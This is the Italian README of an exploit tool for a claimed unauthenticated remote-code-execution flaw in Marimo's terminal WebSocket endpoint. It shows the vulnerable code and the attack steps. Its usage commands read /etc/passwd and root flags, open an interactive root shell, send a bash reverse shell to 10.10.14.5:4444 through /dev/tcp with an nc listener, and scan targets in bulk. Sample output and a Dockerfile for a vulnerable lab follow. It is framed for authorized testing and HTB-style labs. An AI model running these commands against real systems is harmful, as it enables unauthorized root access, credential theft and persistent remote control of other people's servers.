
Exploit per RCE pre-autenticazione di Marimo tramite WebSocket del terminale, che fornisce esecuzione di comandi, shell PTY interattiva e funzionalità di reverse shell per test di penetrazione autorizzati.
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo (19.6k ⭐) è un server notebook Python reattivo open-source. Le versioni ≤ 0.20.4 espongono un endpoint WebSocket terminale (/terminal/ws) che salta completamente l'autenticazione, anche quando l'auth è abilitata sul server.
Una singola connessione WebSocket non autenticata produce una shell interattiva PTY completa. Nelle distribuzioni Docker predefinite, i comandi vengono eseguiti come root.
Stato: Corretto nella versione
0.23.0— marimo-team/marimo@c24d480
L'endpoint /terminal/ws non include la chiamata validate_auth() presente in ogni altro endpoint autenticato:
# ❌ /terminal/ws — nessun controllo auth (vulnerabile)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# Nessun controllo di autenticazione!
await websocket.accept() # accetta direttamente
child_pid, fd = pty.fork() # genera una shell PTY
# ✅ /ws — correttamente autenticato
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # auth applicata
return
L'AuthenticationMiddleware di Marimo marca le connessioni non autenticate come UnauthenticatedUser ma non le rifiuta — l'applicazione dipende interamente da decoratori per-endpoint o chiamate validate_auth(). /terminal/ws non ha né l'uno né l'altro.
1. Connettersi a ws(s)://TARGET/terminal/ws → nessun token richiesto
2. websocket.accept() → connessione accettata
3. pty.fork() → shell PTY generata
4. Inviare qualsiasi comando → RCE arbitrario come root
| Software | Vulnerabile | Corretto |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
Entra direttamente in una shell interattiva tramite WebSocket — nessun listener necessario:
python3 CVE-2026-39987.py -u target.htb -i
[+] Shell interattiva — digita i comandi, Ctrl+C o 'exit' per uscire
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
Quando usi un payload reverse shell, stacca il processo dalla PTY con nohup ... &
così sopravvive alla chiusura della connessione WebSocket:
# Configura prima il listener
nc -lvnp 4444
# Poi invia il payload
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️ Senza
nohup ... &, il processo della shell è legato alla PTY e viene terminato quando il WebSocket si chiude. Usa-iper una shell diretta onohupper le reverse shell.
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL URL del target singolo o host
-l LIST, --list LIST file con i target, uno per riga
-c CMD, --cmd CMD comando da eseguire (default: id && cat /root/root.txt)
-p PATH, --path PATH percorso dell'endpoint WebSocket (default: /terminal/ws)
-t SEC, --timeout SEC secondi di silenzio prima di rinunciare (default: 2)
-d SEC, --delay SEC ritardo post-connessione prima di scaricare il banner (default: 1)
-i, --interactive shell PTY interattiva — mantiene la connessione aperta
--verify abilita la verifica del certificato SSL (disabilitata di default)
-q, --quiet sopprime i messaggi di stato, solo output
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] Target : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Mode : command
[*] Command : id && cat /root/root.txt
[*] Connecting...
[*] Draining banner...
[+] Sending payload...
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
Questo strumento è fornito esclusivamente per scopi educativi e di penetration testing autorizzato.
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema che non possiedi.